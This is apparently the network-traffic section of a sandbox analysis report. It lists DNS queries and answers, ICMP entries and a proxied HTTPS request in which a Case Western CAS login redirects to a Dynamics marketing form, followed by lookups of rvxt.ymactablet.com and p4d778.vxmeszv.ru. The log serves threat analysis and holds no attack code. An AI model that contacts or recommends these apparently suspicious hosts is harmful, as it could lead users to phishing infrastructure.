Feb 25, 2025 15:37:23.423017025 CET	61314	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:23.423171043 CET	61844	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:23.430100918 CET	53	61314	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:23.430634975 CET	53	61844	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:23.484884024 CET	57566	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:23.485064030 CET	56766	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:23.492228985 CET	53	57566	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:23.492243052 CET	53	56766	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:24.108884096 CET	54865	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:24.109045029 CET	65176	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:24.116967916 CET	53	65176	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:24.116986990 CET	53	54865	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:24.155602932 CET	59964	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:24.155797005 CET	54016	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:24.164037943 CET	53	59964	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:24.164716005 CET	53	54016	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:24.930295944 CET	51384	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:24.930452108 CET	49964	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:24.937635899 CET	53	51384	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:24.937673092 CET	53	49964	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:34.830429077 CET	53	54668	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:35.652030945 CET	57185	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:35.652292967 CET	49757	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:35.746797085 CET	53	57185	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:35.757704973 CET	53	49757	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:37.598896027 CET	57606	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:37.599042892 CET	60304	53	192.168.2.4	1.1.1.1
Feb 25, 2025 15:37:37.604149103 CET	53	60610	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:37.612943888 CET	53	57606	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:37.659527063 CET	53	60304	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:48.302674055 CET	53	63610	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:57.359272957 CET	53	57818	1.1.1.1	192.168.2.4
Feb 25, 2025 15:37:57.743215084 CET	53	60072	1.1.1.1	192.168.2.4
Feb 25, 2025 15:38:00.347639084 CET	53	63466	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Feb 25, 2025 15:37:09.878427982 CET	192.168.2.4	1.1.1.1	c2db	(Port unreachable)	Destination Unreachable
Feb 25, 2025 15:37:37.659629107 CET	192.168.2.4	1.1.1.1	c27b	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 25, 2025 15:37:01.942970991 CET	192.168.2.4	1.1.1.1	0xe60c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:01.943094015 CET	192.168.2.4	1.1.1.1	0x8312	Standard query (0)	www.google.com	65	IN (0x0001)	false
Feb 25, 2025 15:37:03.780076027 CET	192.168.2.4	1.1.1.1	0xbc26	Standard query (0)	login.case.edu	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:03.780708075 CET	192.168.2.4	1.1.1.1	0x6d24	Standard query (0)	login.case.edu	65	IN (0x0001)	false
Feb 25, 2025 15:37:05.015275955 CET	192.168.2.4	1.1.1.1	0x437f	Standard query (0)	assets-usa.mkt.dynamics.com	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:05.015475988 CET	192.168.2.4	1.1.1.1	0x73cb	Standard query (0)	assets-usa.mkt.dynamics.com	65	IN (0x0001)	false
Feb 25, 2025 15:37:09.834855080 CET	192.168.2.4	1.1.1.1	0x88eb	Standard query (0)	public-usa.mkt.dynamics.com	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:09.835623026 CET	192.168.2.4	1.1.1.1	0xa19d	Standard query (0)	public-usa.mkt.dynamics.com	65	IN (0x0001)	false
Feb 25, 2025 15:37:09.837034941 CET	192.168.2.4	1.1.1.1	0xc789	Standard query (0)	assets-usa.mkt.dynamics.com	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:09.837234974 CET	192.168.2.4	1.1.1.1	0x2d2a	Standard query (0)	assets-usa.mkt.dynamics.com	65	IN (0x0001)	false
Feb 25, 2025 15:37:11.504473925 CET	192.168.2.4	1.1.1.1	0x49d0	Standard query (0)	public-usa.mkt.dynamics.com	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:11.504734039 CET	192.168.2.4	1.1.1.1	0x2ce3	Standard query (0)	public-usa.mkt.dynamics.com	65	IN (0x0001)	false
Feb 25, 2025 15:37:21.049731016 CET	192.168.2.4	1.1.1.1	0xc88e	Standard query (0)	rvxt.ymactablet.com	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:21.049982071 CET	192.168.2.4	1.1.1.1	0xb861	Standard query (0)	rvxt.ymactablet.com	65	IN (0x0001)	false
Feb 25, 2025 15:37:22.717226028 CET	192.168.2.4	1.1.1.1	0xad89	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:22.717372894 CET	192.168.2.4	1.1.1.1	0xa937	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Feb 25, 2025 15:37:22.717793941 CET	192.168.2.4	1.1.1.1	0x3509	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:22.717914104 CET	192.168.2.4	1.1.1.1	0xa22a	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Feb 25, 2025 15:37:22.718302011 CET	192.168.2.4	1.1.1.1	0xe785	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:22.718446016 CET	192.168.2.4	1.1.1.1	0xc5ad	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Feb 25, 2025 15:37:23.423017025 CET	192.168.2.4	1.1.1.1	0xf176	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:23.423171043 CET	192.168.2.4	1.1.1.1	0xc5c5	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Feb 25, 2025 15:37:23.484884024 CET	192.168.2.4	1.1.1.1	0xec1d	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:23.485064030 CET	192.168.2.4	1.1.1.1	0x8042	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Feb 25, 2025 15:37:24.108884096 CET	192.168.2.4	1.1.1.1	0x67ee	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:24.109045029 CET	192.168.2.4	1.1.1.1	0x4696	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Feb 25, 2025 15:37:24.155602932 CET	192.168.2.4	1.1.1.1	0x6862	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:24.155797005 CET	192.168.2.4	1.1.1.1	0x62b8	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Feb 25, 2025 15:37:24.930295944 CET	192.168.2.4	1.1.1.1	0x3aed	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:24.930452108 CET	192.168.2.4	1.1.1.1	0x34a4	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Feb 25, 2025 15:37:35.652030945 CET	192.168.2.4	1.1.1.1	0x8309	Standard query (0)	p4d778.vxmeszv.ru	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:35.652292967 CET	192.168.2.4	1.1.1.1	0xe3e	Standard query (0)	p4d778.vxmeszv.ru	65	IN (0x0001)	false
Feb 25, 2025 15:37:37.598896027 CET	192.168.2.4	1.1.1.1	0xa95f	Standard query (0)	p4d778.vxmeszv.ru	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:37.599042892 CET	192.168.2.4	1.1.1.1	0xc603	Standard query (0)	p4d778.vxmeszv.ru	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 25, 2025 15:37:01.950723886 CET	1.1.1.1	192.168.2.4	0x8312	No error (0)	www.google.com			65	IN (0x0001)	false
Feb 25, 2025 15:37:01.950735092 CET	1.1.1.1	192.168.2.4	0xe60c	No error (0)	www.google.com		172.217.16.196	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:04.245876074 CET	1.1.1.1	192.168.2.4	0xbc26	No error (0)	login.case.edu	sso.lb.CWRU.edu		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:04.245876074 CET	1.1.1.1	192.168.2.4	0xbc26	No error (0)	sso.lb.CWRU.edu		129.22.108.26	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:04.257025957 CET	1.1.1.1	192.168.2.4	0x6d24	No error (0)	login.case.edu	sso.lb.CWRU.edu		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:05.046389103 CET	1.1.1.1	192.168.2.4	0x73cb	No error (0)	assets-usa.mkt.dynamics.com	assets-mkt-usa.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:05.046389103 CET	1.1.1.1	192.168.2.4	0x73cb	No error (0)	assets-mkt-usa.azureedge.net	assets-mkt-usa.afd.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:05.046389103 CET	1.1.1.1	192.168.2.4	0x73cb	No error (0)	assets-mkt-usa.afd.azureedge.net	azureedge-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:05.046389103 CET	1.1.1.1	192.168.2.4	0x73cb	No error (0)	azureedge-t-prod.trafficmanager.net	shed.dual-low.s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:05.054817915 CET	1.1.1.1	192.168.2.4	0x437f	No error (0)	assets-usa.mkt.dynamics.com	assets-mkt-usa.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:05.054817915 CET	1.1.1.1	192.168.2.4	0x437f	No error (0)	assets-mkt-usa.azureedge.net	assets-mkt-usa.afd.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:05.054817915 CET	1.1.1.1	192.168.2.4	0x437f	No error (0)	assets-mkt-usa.afd.azureedge.net	azureedge-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:05.054817915 CET	1.1.1.1	192.168.2.4	0x437f	No error (0)	azureedge-t-prod.trafficmanager.net	shed.dual-low.s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:05.054817915 CET	1.1.1.1	192.168.2.4	0x437f	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:05.054817915 CET	1.1.1.1	192.168.2.4	0x437f	No error (0)	azurefd-t-fb-prod.trafficmanager.net	dual.s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:05.054817915 CET	1.1.1.1	192.168.2.4	0x437f	No error (0)	dual.s-part-0044.t-0009.fb-t-msedge.net	s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:05.054817915 CET	1.1.1.1	192.168.2.4	0x437f	No error (0)	s-part-0044.t-0009.fb-t-msedge.net		13.107.253.72	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:07.412266970 CET	1.1.1.1	192.168.2.4	0xa5a8	No error (0)	azureedge-t-prod.trafficmanager.net	shed.dual-low.s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:07.432357073 CET	1.1.1.1	192.168.2.4	0x1259	No error (0)	azureedge-t-prod.trafficmanager.net	shed.dual-low.s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:07.432357073 CET	1.1.1.1	192.168.2.4	0x1259	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:07.432357073 CET	1.1.1.1	192.168.2.4	0x1259	No error (0)	azurefd-t-fb-prod.trafficmanager.net	dual.s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:07.432357073 CET	1.1.1.1	192.168.2.4	0x1259	No error (0)	dual.s-part-0044.t-0009.fb-t-msedge.net	s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:07.432357073 CET	1.1.1.1	192.168.2.4	0x1259	No error (0)	s-part-0044.t-0009.fb-t-msedge.net		13.107.253.72	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:08.987199068 CET	1.1.1.1	192.168.2.4	0x71f0	No error (0)	azureedge-t-prod.trafficmanager.net	shed.dual-low.s-part-0039.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.004561901 CET	1.1.1.1	192.168.2.4	0xfbc8	No error (0)	azureedge-t-prod.trafficmanager.net	shed.dual-low.s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.004561901 CET	1.1.1.1	192.168.2.4	0xfbc8	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.004561901 CET	1.1.1.1	192.168.2.4	0xfbc8	No error (0)	azurefd-t-fb-prod.trafficmanager.net	dual.s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.004561901 CET	1.1.1.1	192.168.2.4	0xfbc8	No error (0)	dual.s-part-0044.t-0009.fb-t-msedge.net	s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.004561901 CET	1.1.1.1	192.168.2.4	0xfbc8	No error (0)	s-part-0044.t-0009.fb-t-msedge.net		13.107.253.72	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:09.847053051 CET	1.1.1.1	192.168.2.4	0xc789	No error (0)	assets-usa.mkt.dynamics.com	assets-mkt-usa.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.847053051 CET	1.1.1.1	192.168.2.4	0xc789	No error (0)	assets-mkt-usa.azureedge.net	assets-mkt-usa.afd.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.847053051 CET	1.1.1.1	192.168.2.4	0xc789	No error (0)	assets-mkt-usa.afd.azureedge.net	azureedge-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.847053051 CET	1.1.1.1	192.168.2.4	0xc789	No error (0)	azureedge-t-prod.trafficmanager.net	shed.dual-low.s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.847053051 CET	1.1.1.1	192.168.2.4	0xc789	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.847053051 CET	1.1.1.1	192.168.2.4	0xc789	No error (0)	azurefd-t-fb-prod.trafficmanager.net	dual.s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.847053051 CET	1.1.1.1	192.168.2.4	0xc789	No error (0)	dual.s-part-0044.t-0009.fb-t-msedge.net	s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.847053051 CET	1.1.1.1	192.168.2.4	0xc789	No error (0)	s-part-0044.t-0009.fb-t-msedge.net		13.107.253.72	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:09.860795975 CET	1.1.1.1	192.168.2.4	0xa19d	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.860795975 CET	1.1.1.1	192.168.2.4	0xa19d	No error (0)	cxppusa1im4t7x7z5iubq.trafficmanager.net	public-prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.860795975 CET	1.1.1.1	192.168.2.4	0xa19d	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.867244959 CET	1.1.1.1	192.168.2.4	0x88eb	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.867244959 CET	1.1.1.1	192.168.2.4	0x88eb	No error (0)	cxppusa1im4t7x7z5iubq.trafficmanager.net	public-prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.867244959 CET	1.1.1.1	192.168.2.4	0x88eb	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.867244959 CET	1.1.1.1	192.168.2.4	0x88eb	No error (0)	prdia888eus0aks.mkt.dynamics.com		52.146.76.30	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:09.878364086 CET	1.1.1.1	192.168.2.4	0x2d2a	No error (0)	assets-usa.mkt.dynamics.com	assets-mkt-usa.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.878364086 CET	1.1.1.1	192.168.2.4	0x2d2a	No error (0)	assets-mkt-usa.azureedge.net	assets-mkt-usa.afd.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.878364086 CET	1.1.1.1	192.168.2.4	0x2d2a	No error (0)	assets-mkt-usa.afd.azureedge.net	azureedge-t-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:09.878364086 CET	1.1.1.1	192.168.2.4	0x2d2a	No error (0)	azureedge-t-prod.trafficmanager.net	shed.dual-low.s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:11.519450903 CET	1.1.1.1	192.168.2.4	0x2ce3	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:11.519450903 CET	1.1.1.1	192.168.2.4	0x2ce3	No error (0)	cxppusa1im4t7x7z5iubq.trafficmanager.net	public-prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:11.519450903 CET	1.1.1.1	192.168.2.4	0x2ce3	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:11.524322987 CET	1.1.1.1	192.168.2.4	0x49d0	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:11.524322987 CET	1.1.1.1	192.168.2.4	0x49d0	No error (0)	cxppusa1im4t7x7z5iubq.trafficmanager.net	public-prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:11.524322987 CET	1.1.1.1	192.168.2.4	0x49d0	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 25, 2025 15:37:11.524322987 CET	1.1.1.1	192.168.2.4	0x49d0	No error (0)	prdia888eus0aks.mkt.dynamics.com		52.146.76.30	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:21.064321995 CET	1.1.1.1	192.168.2.4	0xc88e	No error (0)	rvxt.ymactablet.com		104.21.71.57	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:21.064321995 CET	1.1.1.1	192.168.2.4	0xc88e	No error (0)	rvxt.ymactablet.com		172.67.169.249	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:21.065965891 CET	1.1.1.1	192.168.2.4	0xb861	No error (0)	rvxt.ymactablet.com			65	IN (0x0001)	false
Feb 25, 2025 15:37:22.725477934 CET	1.1.1.1	192.168.2.4	0xad89	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:22.725477934 CET	1.1.1.1	192.168.2.4	0xad89	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:22.725477934 CET	1.1.1.1	192.168.2.4	0xad89	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:22.725477934 CET	1.1.1.1	192.168.2.4	0xad89	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:22.725545883 CET	1.1.1.1	192.168.2.4	0x3509	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:22.725545883 CET	1.1.1.1	192.168.2.4	0x3509	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:22.725873947 CET	1.1.1.1	192.168.2.4	0xa22a	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Feb 25, 2025 15:37:22.726150036 CET	1.1.1.1	192.168.2.4	0xc5ad	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Feb 25, 2025 15:37:22.726866007 CET	1.1.1.1	192.168.2.4	0xe785	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:22.726866007 CET	1.1.1.1	192.168.2.4	0xe785	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:23.430100918 CET	1.1.1.1	192.168.2.4	0xf176	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:23.430100918 CET	1.1.1.1	192.168.2.4	0xf176	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:23.430634975 CET	1.1.1.1	192.168.2.4	0xc5c5	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Feb 25, 2025 15:37:23.492228985 CET	1.1.1.1	192.168.2.4	0xec1d	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:23.492228985 CET	1.1.1.1	192.168.2.4	0xec1d	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:23.492228985 CET	1.1.1.1	192.168.2.4	0xec1d	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:23.492228985 CET	1.1.1.1	192.168.2.4	0xec1d	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:24.116967916 CET	1.1.1.1	192.168.2.4	0x4696	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Feb 25, 2025 15:37:24.116986990 CET	1.1.1.1	192.168.2.4	0x67ee	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:24.116986990 CET	1.1.1.1	192.168.2.4	0x67ee	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:24.164037943 CET	1.1.1.1	192.168.2.4	0x6862	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:24.164037943 CET	1.1.1.1	192.168.2.4	0x6862	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:24.164037943 CET	1.1.1.1	192.168.2.4	0x6862	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:24.164037943 CET	1.1.1.1	192.168.2.4	0x6862	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:24.164037943 CET	1.1.1.1	192.168.2.4	0x6862	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:24.164716005 CET	1.1.1.1	192.168.2.4	0x62b8	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Feb 25, 2025 15:37:24.937635899 CET	1.1.1.1	192.168.2.4	0x3aed	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:24.937635899 CET	1.1.1.1	192.168.2.4	0x3aed	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:24.937635899 CET	1.1.1.1	192.168.2.4	0x3aed	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:24.937635899 CET	1.1.1.1	192.168.2.4	0x3aed	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:24.937635899 CET	1.1.1.1	192.168.2.4	0x3aed	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:24.937673092 CET	1.1.1.1	192.168.2.4	0x34a4	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Feb 25, 2025 15:37:35.746797085 CET	1.1.1.1	192.168.2.4	0x8309	No error (0)	p4d778.vxmeszv.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:35.746797085 CET	1.1.1.1	192.168.2.4	0x8309	No error (0)	p4d778.vxmeszv.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:35.757704973 CET	1.1.1.1	192.168.2.4	0xe3e	No error (0)	p4d778.vxmeszv.ru			65	IN (0x0001)	false
Feb 25, 2025 15:37:37.612943888 CET	1.1.1.1	192.168.2.4	0xa95f	No error (0)	p4d778.vxmeszv.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:37.612943888 CET	1.1.1.1	192.168.2.4	0xa95f	No error (0)	p4d778.vxmeszv.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 25, 2025 15:37:37.659527063 CET	1.1.1.1	192.168.2.4	0xc603	No error (0)	p4d778.vxmeszv.ru			65	IN (0x0001)	false

HTTP Request Dependency Graph

assets-usa.mkt.dynamics.com

public-usa.mkt.dynamics.com

rvxt.ymactablet.com

https:

cdnjs.cloudflare.com

code.jquery.com

challenges.cloudflare.com

developers.cloudflare.com

p4d778.vxmeszv.ru

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49742	129.22.108.26	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-25 14:37:04 UTC	833	OUT	GET /cas/login?gateway=true&service=https%3A%2F%2Fassets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe HTTP/1.1 Host: login.case.edu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
